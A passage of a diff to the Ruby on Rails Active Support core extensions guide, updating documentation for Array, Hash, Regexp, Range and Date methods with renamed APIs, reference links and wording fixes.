 ```ruby
 %w().to_sentence                # => ""
@@ -2202,27 +2436,31 @@ The defaults for these options can be localized, their keys are:
 
 NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
 
-#### `to_formatted_s`
+[Array#to_sentence]: https://api.rubyonrails.org/classes/Array.html#method-i-to_sentence
+
+#### `to_fs`
 
-The method `to_formatted_s` acts like `to_s` by default.
+The method [`to_fs`][Array#to_fs] acts like `to_s` by default.
 
 If the array contains items that respond to `id`, however, the symbol
 `:db` may be passed as argument. That's typically used with
 collections of Active Record objects. Returned strings are:
 
 ```ruby
-[].to_formatted_s(:db)            # => "null"
-[user].to_formatted_s(:db)        # => "8456"
-invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
+[].to_fs(:db)            # => "null"
+[user].to_fs(:db)        # => "8456"
+invoice.lines.to_fs(:db) # => "23,567,556,12"
 ```
 
 Integers in the example above are supposed to come from the respective calls to `id`.
 
 NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
 
+[Array#to_fs]: https://api.rubyonrails.org/classes/Array.html#method-i-to_fs
+
 #### `to_xml`
 
-The method `to_xml` returns a string containing an XML representation of its receiver:
+The method [`to_xml`][Array#to_xml] returns a string containing an XML representation of its receiver:
 
 ```ruby
 Contributor.limit(2).order(:rank).to_xml
@@ -2279,7 +2517,7 @@ If there's any element that does not belong to the type of the first one the roo
 If the receiver is an array of hashes the root element is by default also "objects":
 
 ```ruby
-[{a: 1, b: 2}, {c: 3}].to_xml
+[{ a: 1, b: 2 }, { c: 3 }].to_xml
 # =>
 # <?xml version="1.0" encoding="UTF-8"?>
 # <objects type="array">
@@ -2321,9 +2559,11 @@ Contributor.limit(2).order(:rank).to_xml(skip_types: true)
 
 NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
 
+[Array#to_xml]: https://api.rubyonrails.org/classes/Array.html#method-i-to_xml
+
 ### Wrapping
 
-The method `Array.wrap` wraps its argument in an array unless it is already an array (or array-like).
+The method [`Array.wrap`][Array.wrap] wraps its argument in an array unless it is already an array (or array-like).
 
 Specifically:
 
@@ -2341,7 +2581,7 @@ This method is similar in purpose to `Kernel#Array`, but there are some differen
 
 * If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns an array with the argument as its single element right away.
 * If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value.
-* It does not call `to_a` on the argument, if the argument does not respond to +to_ary+ it returns an array with the argument as its single element.
+* It does not call `to_a` on the argument, if the argument does not respond to `to_ary` it returns an array with the argument as its single element.
 
 The last point is particularly worth comparing for some enumerables:
 
@@ -2356,16 +2596,14 @@ There's also a related idiom that uses the splat operator:
 [*object]
 ```
 
-which in Ruby 1.8 returns `[nil]` for `nil`, and calls to `Array(object)` otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
-
-Thus, in this case the behavior is different for `nil`, and the differences with `Kernel#Array` explained above apply to the rest of `object`s.
-
 NOTE: Defined in `active_support/core_ext/array/wrap.rb`.
 
+[Array.wrap]: https://api.rubyonrails.org/classes/Array.html#method-c-wrap
+
 ### Duplicating
 
-The method `Array#deep_dup` duplicates itself and all objects inside
-recursively with Active Support method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside.
+The method [`Array#deep_dup`][Array#deep_dup] duplicates itself and all objects inside
+recursively with the Active Support method `Object#deep_dup`. It works like `Array#map`, sending `deep_dup` method to each object inside.
 
 ```ruby
 array = [1, [2, 3]]
@@ -2376,11 +2614,13 @@ array[1][2] == nil   # => true
 
 NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
 
+[Array#deep_dup]: https://api.rubyonrails.org/classes/Array.html#method-i-deep_dup
+
 ### Grouping
 
 #### `in_groups_of(number, fill_with = nil)`
 
-The method `in_groups_of` splits an array into consecutive groups of a certain size. It returns an array with the groups:
+The method [`in_groups_of`][Array#in_groups_of] splits an array into consecutive groups of a certain size. It returns an array with the groups:
 
 ```ruby
 [1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
@@ -2398,25 +2638,27 @@ or yields them in turn if a block is passed:
 <% end %>
 ```
 
-The first example shows `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument:
+The first example shows how `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument:
 
 ```ruby
 [1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
 ```
 
-And you can tell the method not to fill the last group passing `false`:
+And you can tell the method not to fill the last group by passing `false`:
 
 ```ruby
 [1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
 ```
 
-As a consequence `false` can't be a used as a padding value.
+As a consequence `false` can't be used as a padding value.
 
 NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
 
+[Array#in_groups_of]: https://api.rubyonrails.org/classes/Array.html#method-i-in_groups_of
+
 #### `in_groups(number, fill_with = nil)`
 
-The method `in_groups` splits an array into a certain number of groups. The method returns an array with the groups:
+The method [`in_groups`][Array#in_groups] splits an array into a certain number of groups. The method returns an array with the groups:
 
 ```ruby
 %w(1 2 3 4 5 6 7).in_groups(3)
@@ -2426,7 +2668,7 @@ The method `in_groups` splits an array into a certain number of groups. The meth
 or yields them in turn if a block is passed:
 
 ```ruby
-%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
+%w(1 2 3 4 5 6 7).in_groups(3) { |group| p group }
 ["1", "2", "3"]
 ["4", "5", nil]
 ["6", "7", nil]
@@ -2441,20 +2683,22 @@ You can change this padding value using the second optional argument:
 # => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
 ```
 
-And you can tell the method not to fill the smaller groups passing `false`:
+And you can tell the method not to fill the smaller groups by passing `false`:
 
 ```ruby
 %w(1 2 3 4 5 6 7).in_groups(3, false)
 # => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
 ```
 
-As a consequence `false` can't be a used as a padding value.
+As a consequence `false` can't be used as a padding value.
 
 NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
 
+[Array#in_groups]: https://api.rubyonrails.org/classes/Array.html#method-i-in_groups
+
 #### `split(value = nil)`
 
-The method `split` divides an array by a separator and returns the resulting chunks.
+The method [`split`][Array#split] divides an array by a separator and returns the resulting chunks.
 
 If a block is passed the separators are those elements of the array for which the block returns true:
 
@@ -2474,6 +2718,8 @@ TIP: Observe in the previous example that consecutive separators result in empty
 
 NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
 
+[Array#split]: https://api.rubyonrails.org/classes/Array.html#method-i-split
+
 Extensions to `Hash`
 --------------------
 
@@ -2481,10 +2727,10 @@ Extensions to `Hash`
 
 #### `to_xml`
 
-The method `to_xml` returns a string containing an XML representation of its receiver:
+The method [`to_xml`][Hash#to_xml] returns a string containing an XML representation of its receiver:
 
 ```ruby
-{"foo" => 1, "bar" => 2}.to_xml
+{ foo: 1, bar: 2 }.to_xml
 # =>
 # <?xml version="1.0" encoding="UTF-8"?>
 # <hash>
@@ -2525,12 +2771,14 @@ The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can con
 
 NOTE: Defined in `active_support/core_ext/hash/conversions.rb`.
 
+[Hash#to_xml]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_xml
+
 ### Merging
 
 Ruby has a built-in method `Hash#merge` that merges two hashes:
 
 ```ruby
-{a: 1, b: 1}.merge(a: 0, c: 2)
+{ a: 1, b: 1 }.merge(a: 0, c: 2)
 # => {:a=>0, :b=>1, :c=>2}
 ```
 
@@ -2541,16 +2789,16 @@ Active Support defines a few more ways of merging hashes that may be convenient.
 In case of collision the key in the hash of the argument wins in `merge`. You can support option hashes with default values in a compact way with this idiom:
 
 ```ruby
-options = {length: 30, omission: "..."}.merge(options)
+options = { length: 30, omission: "..." }.merge(options)
 ```
 
-Active Support defines `reverse_merge` in case you prefer this alternative notation:
+Active Support defines [`reverse_merge`][Hash#reverse_merge] in case you prefer this alternative notation:
 
 ```ruby
 options = options.reverse_merge(length: 30, omission: "...")
 ```
 
-And a bang version `reverse_merge!` that performs the merge in place:
+And a bang version [`reverse_merge!`][Hash#reverse_merge!] that performs the merge in place:
 
 ```ruby
 options.reverse_merge!(length: 30, omission: "...")
@@ -2560,32 +2808,40 @@ WARNING. Take into account that `reverse_merge!` may change the hash in the call
 
 NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
 
+[Hash#reverse_merge!]: https://api.rubyonrails.org/classes/Hash.html#method-i-reverse_merge-21
+[Hash#reverse_merge]: https://api.rubyonrails.org/classes/Hash.html#method-i-reverse_merge
+
 #### `reverse_update`
 
-The method `reverse_update` is an alias for `reverse_merge!`, explained above.
+The method [`reverse_update`][Hash#reverse_update] is an alias for `reverse_merge!`, explained above.
 
 WARNING. Note that `reverse_update` has no bang.
 
 NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
 
+[Hash#reverse_update]: https://api.rubyonrails.org/classes/Hash.html#method-i-reverse_update
+
 #### `deep_merge` and `deep_merge!`
 
 As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.
 
-Active Support defines `Hash#deep_merge`. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
+Active Support defines [`Hash#deep_merge`][Hash#deep_merge]. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
 
 ```ruby
-{a: {b: 1}}.deep_merge(a: {c: 2})
+{ a: { b: 1 } }.deep_merge(a: { c: 2 })
 # => {:a=>{:b=>1, :c=>2}}
 ```
 
-The method `deep_merge!` performs a deep merge in place.
+The method [`deep_merge!`][Hash#deep_merge!] performs a deep merge in place.
 
 NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`.
 
-### Deep duplicating
+[Hash#deep_merge!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_merge-21
+[Hash#deep_merge]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_merge
+
+### Deep Duplicating
 
-The method `Hash#deep_dup` duplicates itself and all keys and values
+The method [`Hash#deep_dup`][Hash#deep_dup] duplicates itself and all keys and values
 inside recursively with Active Support method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside.
 
 ```ruby
@@ -2601,318 +2857,258 @@ hash[:b][:d] == [3, 4]   # => true
 
 NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
 
+[Hash#deep_dup]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_dup
+
 ### Working with Keys
 
-#### `except` and `except!`
+#### `except!`
 
-The method `except` returns a hash with the keys in the argument list removed, if present:
+The method [`except!`][Hash#except!] is identical to the built-in `except` method but removes keys in place, returning `self`.
 
 ```ruby
-{a: 1, b: 2}.except(:a) # => {:b=>2}
+{ a: 1, b: 2 }.except!(:a) # => {:b=>2}
+{ a: 1, b: 2 }.except!(:c) # => {:a=>1, :b=>2}
 ```
 
-If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except` to play nice with hashes with indifferent access for instance:
+If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except!` (and `except`) to play nice with hashes with indifferent access for instance:
 
 ```ruby
-{a: 1}.with_indifferent_access.except(:a)  # => {}
-{a: 1}.with_indifferent_access.except("a") # => {}
+{ a: 1 }.with_indifferent_access.except!(:a)  # => {}
+{ a: 1 }.with_indifferent_access.except!("a") # => {}
 ```
 
-There's also the bang variant `except!` that removes keys in the very receiver.
-
 NOTE: Defined in `active_support/core_ext/hash/except.rb`.
 
-#### `transform_keys` and `transform_keys!`
-
-The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
-
-```ruby
-{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase }
-# => {"" => nil, "1" => 1, "A" => :a}
-```
-
-In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
-
-```ruby
-{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
-# The result could either be
-# => {"A"=>2}
-# or
-# => {"A"=>1}
-```
-
-This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions:
-
-```ruby
-def stringify_keys
-  transform_keys { |key| key.to_s }
-end
-...
-def symbolize_keys
-  transform_keys { |key| key.to_sym rescue key }
-end
-```
-
-There's also the bang variant `transform_keys!` that applies the block operations to keys in the very receiver.
-
-Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
-
-```ruby
-{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase }
-# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
-```
-
-NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+[Hash#except!]: https://api.rubyonrails.org/classes/Hash.html#method-i-except-21
 
 #### `stringify_keys` and `stringify_keys!`
 
-The method `stringify_keys` returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them:
+The method [`stringify_keys`][Hash#stringify_keys] returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them:
 
 ```ruby
-{nil => nil, 1 => 1, a: :a}.stringify_keys
+{ nil => nil, 1 => 1, a: :a }.stringify_keys
 # => {"" => nil, "1" => 1, "a" => :a}
 ```
 
-In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
+In case of key collision, the value will be the one most recently inserted into the hash:
 
 ```ruby
-{"a" => 1, a: 2}.stringify_keys
-# The result could either be
+{ "a" => 1, a: 2 }.stringify_keys
+# The result will be
 # => {"a"=>2}
-# or
-# => {"a"=>1}
 ```
 
 This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines:
 
 ```ruby
-def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
+def to_checkbox_tag(options = {}, checked_value = "1", unchecked_value = "0")
   options = options.stringify_keys
   options["type"] = "checkbox"
-  ...
+  # ...
 end
 ```
 
 The second line can safely access the "type" key, and let the user to pass either `:type` or "type".
 
-There's also the bang variant `stringify_keys!` that stringifies keys in the very receiver.
+There's also the bang variant [`stringify_keys!`][Hash#stringify_keys!] that stringifies keys in place.
 
-Besides that, one can use `deep_stringify_keys` and `deep_stringify_keys!` to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is:
+Besides that, one can use [`deep_stringify_keys`][Hash#deep_stringify_keys] and [`deep_stringify_keys!`][Hash#deep_stringify_keys!] to stringify all the keys in the given hash and all the hashes nested in it. An example of the result is:
 
 ```ruby
-{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys
+{ nil => nil, 1 => 1, nested: { a: 3, 5 => 5 } }.deep_stringify_keys
 # => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
 ```
 
 NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
 
+[Hash#deep_stringify_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_stringify_keys-21
+[Hash#deep_stringify_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_stringify_keys
+[Hash#stringify_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-stringify_keys-21
+[Hash#stringify_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-stringify_keys
+
 #### `symbolize_keys` and `symbolize_keys!`
 
-The method `symbolize_keys` returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them:
+The method [`symbolize_keys`][Hash#symbolize_keys] returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them:
 
 ```ruby
-{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
+{ nil => nil, 1 => 1, "a" => "a" }.symbolize_keys
 # => {nil=>nil, 1=>1, :a=>"a"}
 ```
 
 WARNING. Note in the previous example only one key was symbolized.
 
-In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
+In case of key collision, the value will be the one most recently inserted into the hash:
 
 ```ruby
-{"a" => 1, a: 2}.symbolize_keys
-# The result could either be
+{ "a" => 1, a: 2 }.symbolize_keys
 # => {:a=>2}
-# or
-# => {:a=>1}
 ```
 
-This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines
+This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionText::TagHelper` defines
 
 ```ruby
-def rewrite_path(options)
+def rich_textarea_tag(name, value = nil, options = {})
   options = options.symbolize_keys
-  options.update(options[:params].symbolize_keys) if options[:params]
-  ...
+
+  options[:input] ||= "trix_input_#{ActionText::TagHelper.id += 1}"
+  # ...
 end
 ```
 
-The second line can safely access the `:params` key, and let the user to pass either `:params` or "params".
+The third line can safely access the `:input` key, and let the user to pass either `:input` or "input".
 
-There's also the bang variant `symbolize_keys!` that symbolizes keys in the very receiver.
+There's also the bang variant [`symbolize_keys!`][Hash#symbolize_keys!] that symbolizes keys in place.
 
-Besides that, one can use `deep_symbolize_keys` and `deep_symbolize_keys!` to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is:
+Besides that, one can use [`deep_symbolize_keys`][Hash#deep_symbolize_keys] and [`deep_symbolize_keys!`][Hash#deep_symbolize_keys!] to symbolize all the keys in the given hash and all the hashes nested in it. An example of the result is:
 
 ```ruby
-{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
+{ nil => nil, 1 => 1, "nested" => { "a" => 3, 5 => 5 } }.deep_symbolize_keys
 # => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}
 ```
 
 NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
 
+[Hash#deep_symbolize_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_symbolize_keys-21
+[Hash#deep_symbolize_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_symbolize_keys
+[Hash#symbolize_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-symbolize_keys-21
+[Hash#symbolize_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-symbolize_keys
+
 #### `to_options` and `to_options!`
 
-The methods `to_options` and `to_options!` are respectively aliases of `symbolize_keys` and `symbolize_keys!`.
+The methods [`to_options`][Hash#to_options] and [`to_options!`][Hash#to_options!] are aliases of `symbolize_keys` and `symbolize_keys!`, respectively.
 
 NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
 
+[Hash#to_options!]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_options-21
+[Hash#to_options]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_options
+
 #### `assert_valid_keys`
 
-The method `assert_valid_keys` receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does `ArgumentError` is raised.
+The method [`assert_valid_keys`][Hash#assert_valid_keys] receives an arbitrary number of arguments, and checks whether the receiver has any key outside that list. If it does `ArgumentError` is raised.
 
 ```ruby
-{a: 1}.assert_valid_keys(:a)  # passes
-{a: 1}.assert_valid_keys("a") # ArgumentError
+{ a: 1 }.assert_valid_keys(:a)  # passes
+{ a: 1 }.assert_valid_keys("a") # ArgumentError
 ```
 
 Active Record does not accept unknown options when building associations, for example. It implements that control via `assert_valid_keys`.
 
 NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
 
-### Working with Values
-
-#### `transform_values` && `transform_values!`
-
-The method `transform_values` accepts a block and returns a hash that has applied the block operations to each of the values in the receiver.
+[Hash#assert_valid_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-assert_valid_keys
 
-```ruby
-{ nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase }
-# => {nil=>"", 1=>"1", :x=>"A"}
-```
-There's also the bang variant `transform_values!` that applies the block operations to values in the very receiver.
-
-NOTE: Defined in `active_support/core_ext/hash/transform_values.rb`.
+### Working with Values
 
-### Slicing
+#### `deep_transform_values` and `deep_transform_values!`
 
-Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
+The method [`deep_transform_values`][Hash#deep_transform_values] returns a new hash with all values converted by the block operation. This includes the values from the root hash and from all nested hashes and arrays.
 
 ```ruby
-{a: 1, b: 2, c: 3}.slice(:a, :c)
-# => {:a=>1, :c=>3}
+hash = { person: { name: "Rob", age: "28" } }
 
-{a: 1, b: 2, c: 3}.slice(:b, :X)
-# => {:b=>2} # non-existing keys are ignored
+hash.deep_transform_values { |value| value.to_s.upcase }
+# => {person: {name: "ROB", age: "28"}}
 ```
 
-If the receiver responds to `convert_key` keys are normalized:
+There's also the bang variant [`deep_transform_values!`][Hash#deep_transform_values!] that destructively converts all values by using the block operation.
 
-```ruby
-{a: 1, b: 2}.with_indifferent_access.slice("a")
-# => {:a=>1}
-```
+NOTE: Defined in `active_support/core_ext/hash/deep_transform_values.rb`.
 
-NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys.
+[Hash#deep_transform_values!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_transform_values-21
+[Hash#deep_transform_values]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_transform_values
+
+### Slicing
 
-There's also `slice!` which in addition to perform a slice in place returns what's removed:
+The method [`slice!`][Hash#slice!] replaces the hash with only the given keys and returns a hash containing the removed key/value pairs.
 
 ```ruby
-hash = {a: 1, b: 2}
+hash = { a: 1, b: 2 }
 rest = hash.slice!(:a) # => {:b=>2}
 hash                   # => {:a=>1}
 ```
 
 NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
 
+[Hash#slice!]: https://api.rubyonrails.org/classes/Hash.html#method-i-slice-21
+
 ### Extracting
 
-The method `extract!` removes and returns the key/value pairs matching the given keys.
+The method [`extract!`][Hash#extract!] removes and returns the key/value pairs matching the given keys.
 
 ```ruby
-hash = {a: 1, b: 2}
+hash = { a: 1, b: 2 }
 rest = hash.extract!(:a) # => {:a=>1}
 hash                     # => {:b=>2}
 ```
 
-The method `extract!` returns the same subclass of Hash, that the receiver is.
+The method `extract!` returns the same subclass of Hash that the receiver is.
 
 ```ruby
-hash = {a: 1, b: 2}.with_indifferent_access
+hash = { a: 1, b: 2 }.with_indifferent_access
 rest = hash.extract!(:a).class
 # => ActiveSupport::HashWithIndifferentAccess
 ```
 
 NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
 
+[Hash#extract!]: https://api.rubyonrails.org/classes/Hash.html#method-i-extract-21
+
 ### Indifferent Access
 
-The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndifferentAccess` out of its receiver:
+The method [`with_indifferent_access`][Hash#with_indifferent_access] returns an [`ActiveSupport::HashWithIndifferentAccess`][ActiveSupport::HashWithIndifferentAccess] out of its receiver:
 
 ```ruby
-{a: 1}.with_indifferent_access["a"] # => 1
+{ a: 1 }.with_indifferent_access["a"] # => 1
 ```
 
 NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
 
-### Compacting
-
-The methods `compact` and `compact!` return a Hash without items with `nil` value.
-
-```ruby
-{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
-```
-
-NOTE: Defined in `active_support/core_ext/hash/compact.rb`.
+[ActiveSupport::HashWithIndifferentAccess]: https://api.rubyonrails.org/classes/ActiveSupport/HashWithIndifferentAccess.html
+[Hash#with_indifferent_access]: https://api.rubyonrails.org/classes/Hash.html#method-i-with_indifferent_access
 
 Extensions to `Regexp`
 ----------------------
 
 ### `multiline?`
 
-The method `multiline?` says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines.
+The method [`multiline?`][Regexp#multiline?] says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines.
 
 ```ruby
 %r{.}.multiline?  # => false
 %r{.}m.multiline? # => true
 
-Regexp.new('.').multiline?                    # => false
-Regexp.new('.', Regexp::MULTILINE).multiline? # => true
+Regexp.new(".").multiline?                    # => false
+Regexp.new(".", Regexp::MULTILINE).multiline? # => true
 ```
 
 Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.
 
 ```ruby
-def assign_route_options(segments, defaults, requirements)
-  ...
+def verify_regexp_requirements(requirements)
+  # ...
   if requirement.multiline?
-    raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+    raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{requirement.inspect}"
   end
-  ...
+  # ...
 end
 ```
 
 NOTE: Defined in `active_support/core_ext/regexp.rb`.
 
-### `match?`
-
-Rails implements `Regexp#match?` for Ruby versions prior to 2.4:
-
-```ruby
-/oo/.match?('foo')    # => true
-/oo/.match?('bar')    # => false
-/oo/.match?('foo', 1) # => true
-```
-
-The backport has the same interface and lack of side-effects in the caller like
-not setting `$1` and friends, but it does not have the speed benefits. Its
-purpose is to be able to write 2.4 compatible code. Rails itself uses this
-predicate internally for example.
-
-Active Support defines `Regexp#match?` only if not present, so code running
-under 2.4 or later does run the original one and gets the performance boost.
+[Regexp#multiline?]: https://api.rubyonrails.org/classes/Regexp.html#method-i-multiline-3F
 
 Extensions to `Range`
 ---------------------
 
-### `to_s`
+### `to_fs`
 
-Active Support extends the method `Range#to_s` so that it understands an optional format argument. As of this writing the only supported non-default format is `:db`:
+Active Support defines `Range#to_fs` as an alternative to `to_s` that understands an optional format argument. As of this writing the only supported non-default format is `:db`:
 
 ```ruby
-(Date.today..Date.tomorrow).to_s
+(Date.today..Date.tomorrow).to_fs
 # => "2009-10-25..2009-10-26"
 
-(Date.today..Date.tomorrow).to_s(:db)
+(Date.today..Date.tomorrow).to_fs(:db)
 # => "BETWEEN '2009-10-25' AND '2009-10-26'"
 ```
 
@@ -2920,9 +3116,9 @@ As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That
 
 NOTE: Defined in `active_support/core_ext/range/conversions.rb`.
 
-### `include?`
+### `===` and `include?`
 
-The methods `Range#include?` and `Range#===` say whether some value falls between the ends of a given instance:
+The methods `Range#===` and `Range#include?` say whether some value falls between the ends of a given instance:
 
 ```ruby
 (2..3).include?(Math::E) # => true
@@ -2931,116 +3127,64 @@ The methods `Range#include?` and `Range#===` say whether some value falls betwee
 Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
 
 ```ruby
-(1..10).include?(3..7)  # => true
-(1..10).include?(0..7)  # => false
-(1..10).include?(3..11) # => false
-(1...9).include?(3..9)  # => false
-
 (1..10) === (3..7)  # => true
 (1..10) === (0..7)  # => false
 (1..10) === (3..11) # => false
 (1...9) === (3..9)  # => false
+
+(1..10).include?(3..7)  # => true
+(1..10).include?(0..7)  # => false
+(1..10).include?(3..11) # => false
+(1...9).include?(3..9)  # => false
 ```
 
-NOTE: Defined in `active_support/core_ext/range/include_range.rb`.
+NOTE: Defined in `active_support/core_ext/range/compare_range.rb`.
 
-### `overlaps?`
+### `overlap?`
 
-The method `Range#overlaps?` says whether any two given ranges have non-void intersection:
+The method [`Range#overlap?`][Range#overlap?] says whether any two given ranges have non-void intersection:
 
 ```ruby
-(1..10).overlaps?(7..11)  # => true
-(1..10).overlaps?(0..7)   # => true
-(1..10).overlaps?(11..27) # => false
+(1..10).overlap?(7..11)  # => true
+(1..10).overlap?(0..7)   # => true
+(1..10).overlap?(11..27) # => false
 ```
 
-NOTE: Defined in `active_support/core_ext/range/overlaps.rb`.
+NOTE: Defined in `active_support/core_ext/range/overlap.rb`.
+
+[Range#overlap?]: https://api.rubyonrails.org/classes/Range.html#method-i-overlaps-3F
 
 Extensions to `Date`
 --------------------
 
 ### Calculations
 
-NOTE: All the following methods are defined in `active_support/core_ext/date/calculations.rb`.
-
 INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior.
 
 #### `Date.current`
 
-Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, `future?`, `on_weekday?` and `on_weekend?`, all of them relative to `Date.current`.
+Active Support defines [`Date.current`][Date.current] to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines [`Date.yesterday`][Date.yesterday] and [`Date.tomorrow`][Date.tomorrow], and the instance predicates [`past?`][DateAndTime::Calculations#past?], [`today?`][DateAndTime::Calculations#today?], [`tomorrow?`][DateAndTime::Calculations#tomorrow?], [`next_day?`][DateAndTime::Calculations#next_day?], [`yesterday?`][DateAndTime::Calculations#yesterday?], [`prev_day?`][DateAndTime::Calculations#prev_day?], [`future?`][DateAndTime::Calculations#future?], [`on_weekday?`][DateAndTime::Calculations#on_weekday?] and [`on_weekend?`][DateAndTime::Calculations#on_weekend?], all of them relative to `Date.current`.
 
 When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`.
 
-#### Named dates
-
-##### `prev_year`, `next_year`
-
-In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year:
-
-```ruby
-d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
-d.prev_year              # => Fri, 08 May 2009
-d.next_year              # => Sun, 08 May 2011
-```
-
-If date is the 29th of February of a leap year, you obtain the 28th:
-
-```ruby
-d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
-d.prev_year               # => Sun, 28 Feb 1999
-d.next_year               # => Wed, 28 Feb 2001
-```
-
-`prev_year` is aliased to `last_year`.
-
-##### `prev_month`, `next_month`
-
